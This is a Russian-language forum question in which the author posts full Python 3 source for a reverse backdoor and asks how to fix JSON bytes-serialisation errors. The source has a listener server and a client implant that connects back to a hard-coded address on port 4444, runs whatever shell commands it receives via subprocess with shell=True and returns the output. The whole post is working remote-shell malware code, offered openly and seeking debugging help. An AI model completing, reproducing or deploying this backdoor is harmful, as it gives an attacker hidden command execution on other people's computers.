Я пишу бэкдор клиент / сервер с Python 3 и получаю сообщение об ошибке при выполнении кода.
Когда я пытаюсь ввести какую-то команду на ввод, я получаю следующую ошибку со стороны клиента:
Traceback (most recent call last): File "reverse_backdoor.py", line 36, in <module>
my_backdoor.run() File "reverse_backdoor.py", line 32, in run
self.reliable_send(command_result) File "reverse_backdoor.py", line 13, in reliable_send
json_data = json.dumps(data) File "/usr/lib/python3.7/json/__init__.py", line 231, in dumps

raise TypeError(f'Object of type {o.__class__.__name__} ' TypeError: Object of type bytes is not JSON serializable
Вот мой код сервера:
#!/usr/bin/python
import json
import socket
class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print("[+] Waiting for incoming connection")
self.connection, address = listener.accept()
print("[+] Got a connection from " + str(address))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data.encode('utf-8'))
def relaible_receive(self):
while True:
try:
json_data = self.connection.recv(4098)
return json.loads(json_data.decode('utf-8'))
except ValueError:
continue
def execute_remotely(self, command):
self.reliable_send(command)
return self.relaible_receive()
def run(self):
while True:
command = input('>>')
result = self.execute_remotely(command)
print(result)
my_listener = Listener("192.168.1.105", 4444)
my_listener.run()
А вот мой код клиента:
#!/usr/bin/python
import socket
import subprocess
import json
class Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data.encode('utf-8'))
def relaible_receive(self):
json_data = ""
while True:
try:
json_data = json_data + self.connection.recv(4098).decode('utf-8')
return json.loads(json_data.encode('utf-8'))
except ValueError:
continue
def execute_system_command(self, command):
return subprocess.check_output(command, shell=True)
def run(self):
while True:
command = self.relaible_receive()
command_result = self.execute_system_command(command)
self.reliable_send(command_result)
my_backdoor = Backdoor("192.168.1.105", 4444)
my_backdoor.run()
Я также пытался изменить это:
def relaible_receive(self):
json_data = ""
while True:
try:
json_data = json_data + self.connection.recv(4098).decode('utf-8')
return json.loads(json_data.encode('utf-8'))
except ValueError:
continue
На это:
def relaible_receive(self):
json_data = ""
while True:
try:
json_data = json_data + self.connection.recv(4098)
return json.loads(json_data.encode('utf-8'))
except ValueError:
continue
И я получил следующую ошибку:
Traceback (most recent call last): File "reverse_backdoor.py", line 36, in <module>
my_backdoor.run() File "reverse_backdoor.py", line 30, in run
command = self.relaible_receive() File "reverse_backdoor.py", line 20, in relaible_receive
json_data = json_data + self.connection.recv(4098) TypeError: can only concatenate str (not "bytes") to str
Может кто-нибудь сказать мне, как я мог это исправить?
